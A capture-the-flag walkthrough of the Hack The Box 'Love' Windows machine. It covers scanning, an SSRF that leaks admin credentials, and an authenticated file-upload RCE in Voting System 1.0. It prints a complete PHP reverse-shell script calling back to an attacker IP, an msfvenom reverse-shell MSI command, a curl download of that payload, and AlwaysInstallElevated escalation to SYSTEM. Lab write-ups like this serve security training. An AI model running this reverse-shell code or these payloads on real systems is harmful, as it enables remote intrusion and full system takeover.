Hack-The-Box-walkthrough[Love]

introduce

OS: Windows
Difficulty: Easy
Points: 20
Release: 01 May 2021
IP: 10.10.10.239

  • my htb rank

information gathering

first use nmap as usaul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root💀kali)-[~/hackthebox/machine/love]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.239
PORT STATE SERVICE VERSION
10/tcp open tcpwrapped
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

There is lot of ports open.

Let’s first start with port-80

Port-80

There is a login page that need voter id & Password.

Let’s use gobuster to find some new directories.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root💀kali)-[~/hackthebox/machine/love]
└─# gobuster dir -u http://10.10.10.239 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.239
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/05/02 04:06:36 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 338] [--> http://10.10.10.239/images/]
/Images (Status: 301) [Size: 338] [--> http://10.10.10.239/Images/]
/admin (Status: 301) [Size: 337] [--> http://10.10.10.239/admin/]
/plugins (Status: 301) [Size: 339] [--> http://10.10.10.239/plugins/]
/includes (Status: 301) [Size: 340] [--> http://10.10.10.239/includes/]
/dist (Status: 301) [Size: 336] [--> http://10.10.10.239/dist/]
/licenses (Status: 403) [Size: 421]
/examples (Status: 503) [Size: 402]
/IMAGES (Status: 301) [Size: 338] [--> http://10.10.10.239/IMAGES/]
/%20 (Status: 403) [Size: 302]
/Admin (Status: 301) [Size: 337] [--> http://10.10.10.239/Admin/]
/*checkout* (Status: 403) [Size: 302]
/Plugins (Status: 301) [Size: 339] [--> http://10.10.10.239/Plugins/]
/phpmyadmin (Status: 403) [Size: 302]
/webalizer (Status: 403) [Size: 302]
/*docroot* (Status: 403) [Size: 302]
/* (Status: 403) [Size: 302]
/con (Status: 403) [Size: 302]
/http%3A (Status: 403) [Size: 302]
/Includes (Status: 301) [Size: 340] [--> http://10.10.10.239/Includes/]
/**http%3a (Status: 403) [Size: 302]

Got a /admin directory let’s check the /admin page.

And page asking for username and password which we don’t have.

Let’s check https port 443.

And it’s Forbidden.

Let’s check port 5000.

And it’s also Forbidden.

If we check https certificate we find a new vhost.

Let’s add this vhost in our /etc/hosts file.

1
10.10.10.239    staging.love.htb

Now let’s go to staging.love.htb

It’s a free file scanner service.

Let’s check Demo page.

It’s asking for file url. let’s add the localhost url with port 5000 which said for Forbidden.

http://127.0.0.1:5000

And we got the admin creads for voting system.

1
admin:@LoveIsInTheAir!!!!

Now let’s go to 10.10.10.239/admin which we find with gobuster.

We are inside votingsystem admin panel.

Let’s check on google for any vulnerability in votingsystem.

  • Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)

But the exploit is not working so we need to do this manually.

  • php_reverse_shell_mini.php

I use this mini php rev shell to get the rev shell.

  • Exploit.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
<?php class Sh
{
private $a = null;
private $p = null;
private $os = null;
private $sh = null;
private $ds = array(
0 => array(
'pipe',
'r'
) ,
1 => array(
'pipe',
'w'
) ,
2 => array(
'pipe',
'w'
)
);
private $o = array();
private $b = 1024;
private $c = 0;
private $e = false;
public function __construct($a, $p)
{
$this->a = $a;
$this->p = $p;
if (stripos(PHP_OS, 'LINUX') !== false)
{
$this->os = 'LINUX';
$this->sh = '/bin/sh';
}
else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false)
{
$this->os = 'WINDOWS';
$this->sh = 'cmd.exe';
$this->o['bypass_shell'] = true;
}
else
{
$this->e = true;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
}
private function dem()
{
$e = false;
@error_reporting(0);
@set_time_limit(0);
if (!function_exists('pcntl_fork'))
{
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
}
else if (($p = @pcntl_fork()) < 0)
{
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
}
else if ($p > 0)
{
$e = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
}
else if (posix_setsid() < 0)
{
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
}
else
{
echo "DAEMONIZE: Completed successfully!\n";
}
@umask(0);
return $e;
}
private function d($d)
{
$d = str_replace('<', '<', $d);
$d = str_replace('>', '>', $d);
echo $d;
}
private function r($s, $n, $b)
{
if (($d = @fread($s, $b)) === false)
{
$this->e = true;
echo "STRM_ERROR: Cannot read from ${n}, script will now exit...\n";
}
return $d;
}
private function w($s, $n, $d)
{
if (($by = @fwrite($s, $d)) === false)
{
$this->e = true;
echo "STRM_ERROR: Cannot write to ${n}, script will now exit...\n";
}
return $by;
}
private function rw($i, $o, $in, $on)
{
while (($d = $this->r($i, $in, $this->b)) && $this->w($o, $on, $d))
{
if ($this->os === 'WINDOWS' && $on === 'STDIN')
{
$this->c += strlen($d);
}
$this->d($d);
}
}
private function brw($i, $o, $in, $on)
{
$s = fstat($i) ['size'];
if ($this->os === 'WINDOWS' && $in === 'STDOUT' && $this->c)
{
while ($this->c > 0 && ($by = $this->c >= $this->b ? $this->b : $this->c) && $this->r($i, $in, $by))
{
$this->c -= $by;
$s -= $by;
}
}
while ($s > 0 && ($by = $s >= $this->b ? $this->b : $s) && ($d = $this->r($i, $in, $by)) && $this->w($o, $on, $d))
{
$s -= $by;
$this->d($d);
}
}
public function rn()
{
if (!$this->e && !$this->dem())
{
$soc = @fsockopen($this->a, $this->p, $en, $es, 30);
if (!$soc)
{
echo "SOC_ERROR: {$en}: {$es}\n";
}
else
{
stream_set_blocking($soc, false);
$proc = @proc_open($this->sh, $this->ds, $pps, '/', null, $this->o);
if (!$proc)
{
echo "PROC_ERROR: Cannot start the shell\n";
}
else
{
foreach ($ps as $pp)
{
stream_set_blocking($pp, false);
}
@fwrite($soc, "SOCKET: Shell has connected! PID: " . proc_get_status($proc) ['pid'] . "\n");
do
{
if (feof($soc))
{
echo "SOC_ERROR: Shell connection has been terminated\n";
break;
}
else if (feof($pps[1]) || !proc_get_status($proc) ['running'])
{
echo "PROC_ERROR: Shell process has been terminated\n";
break;
}
$s = array(
'read' => array(
$soc,
$pps[1],
$pps[2]
) ,
'write' => null,
'except' => null
);
$ncs = @stream_select($s['read'], $s['write'], $s['except'], null);
if ($ncs === false)
{
echo "STRM_ERROR: stream_select() failed\n";
break;
}
else if ($ncs > 0)
{
if ($this->os === 'LINUX')
{
if (in_array($soc, $s['read']))
{
$this->rw($soc, $pps[0], 'SOCKET', 'STDIN');
}
if (in_array($pps[2], $s['read']))
{
$this->rw($pps[2], $soc, 'STDERR', 'SOCKET');
}
if (in_array($pps[1], $s['read']))
{
$this->rw($pps[1], $soc, 'STDOUT', 'SOCKET');
}
}
else if ($this->os === 'WINDOWS')
{
if (in_array($soc, $s['read']))
{
$this->rw($soc, $pps[0], 'SOCKET', 'STDIN');
}
if (fstat($pps[2]) ['size'])
{
$this->brw($pps[2], $soc, 'STDERR', 'SOCKET');
}
if (fstat($pps[1]) ['size'])
{
$this->brw($pps[1], $soc, 'STDOUT', 'SOCKET');
}
}
}
}
while (!$this->e);
foreach ($pps as $pp)
{
fclose($pp);
}
proc_close($proc);
}
fclose($soc);
}
}
}
}
echo '<pre>';
$sh = new Sh('10.10.14.5', 9001);
$sh->rn();
echo '</pre>';
unset($sh); /*@gc_collect_cycles();*/ ?>

Change the ip and port and we good to go.

Now click on profile and then update.

Now browse the exploit.php and enter the current password = @LoveIsInTheAir!!!! and then click on save.

  • Important: Before click on save start your netcat listner on 9001 for catch the shell.

Now let’s check netcat listner.

We got the rev shell now let’s get the user.txt file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root💀kali)-[~/hackthebox/machine/love]
└─# nc -lvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.239.
Ncat: Connection from 10.10.10.239:54537.
SOCKET: Shell has connected! PID: 276
Microsoft Windows [Version 10.0.19042.928]
(c) Microsoft Corporation. All rights reserved.

C:\>whoami
love\phoebe

C:\>ls Users
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\>dir Users
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30

Directory of C:\Users

04/13/2021 06:58 AM <DIR> .
04/13/2021 06:58 AM <DIR> ..
04/12/2021 03:00 PM <DIR> Administrator
04/21/2021 07:01 AM <DIR> Phoebe
04/12/2021 02:10 PM <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 2,277,662,720 bytes free

C:\>cd Users\

C:\Users>cd Phoebe\Desktop

C:\Users\Phoebe\Desktop>type user.txt
bd506f17991891d6af1de3879e88b091

Privilege escalation

let’s run winPEAS.

After running winPEAS we have the Privilege for AlwaysInstallElevated

  • Always Install Elevated

After reading the article we known that how to privesc.

First we create a rev shell with msfvenom.

1
2
3
4
5
6
7
8
┌──(root💀kali)-[~/hackthebox/machine/love]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f msi -o reverse.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: reverse.msi

Now transfer the rev shell into the machiene.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\Users\Phoebe\Desktop>curl http://10.10.14.5/reverse.msi -o reverse.msi
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 156k 100 156k 0 0 156k 0 0:00:01 0:00:01 --:--:-- 109k

C:\Users\Phoebe\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30

Directory of C:\Users\Phoebe\Desktop

05/03/2021 02:09 AM <DIR> .
05/03/2021 02:09 AM <DIR> ..
05/03/2021 02:09 AM 159,744 reverse.msi
04/28/2021 06:18 AM 34 user.txt
2 File(s) 159,778 bytes
2 Dir(s) 2,277,412,864 bytes free

now start your netcat listner.

1
nc -lvp 1337

now paste this both command and then enter and you got the shell as root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
C:\Users\Phoebe\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30

Directory of C:\Users\Phoebe\Desktop

05/03/2021 02:09 AM <DIR> .
05/03/2021 02:09 AM <DIR> ..
05/03/2021 02:09 AM 159,744 reverse.msi
04/28/2021 06:18 AM 34 user.txt
2 File(s) 159,778 bytes
2 Dir(s) 2,277,597,184 bytes free

C:\Users\Phoebe\Desktop>msiexec /quiet /qn /i setup.msi

C:\Users\Phoebe\Desktop>This installation package could not be opened. Verify that the package exists and that you can access it, or contact the application vendor to verify that this is a valid Windows Installer package.

C:\Users\Phoebe\Desktop>msiexec /quiet /qn /i reverse.msi

Now let’s get the root.txt file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(root💀kali)-[~/hackthebox/machine/love]
└─# nc -lvp 1337
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.239.
Ncat: Connection from 10.10.10.239:54539.
Microsoft Windows [Version 10.0.19042.928]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30

Directory of C:\Users\Administrator\Desktop

04/13/2021 03:20 AM <DIR> .
04/13/2021 03:20 AM <DIR> ..
04/28/2021 06:18 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 2,277,384,192 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
54b6e31b307e2bc394f4f7d27556e788

Summary of knowledge

  • gobuster fuzz dir path
  • Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)
  • privesc through AlwaysInstallElevated

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…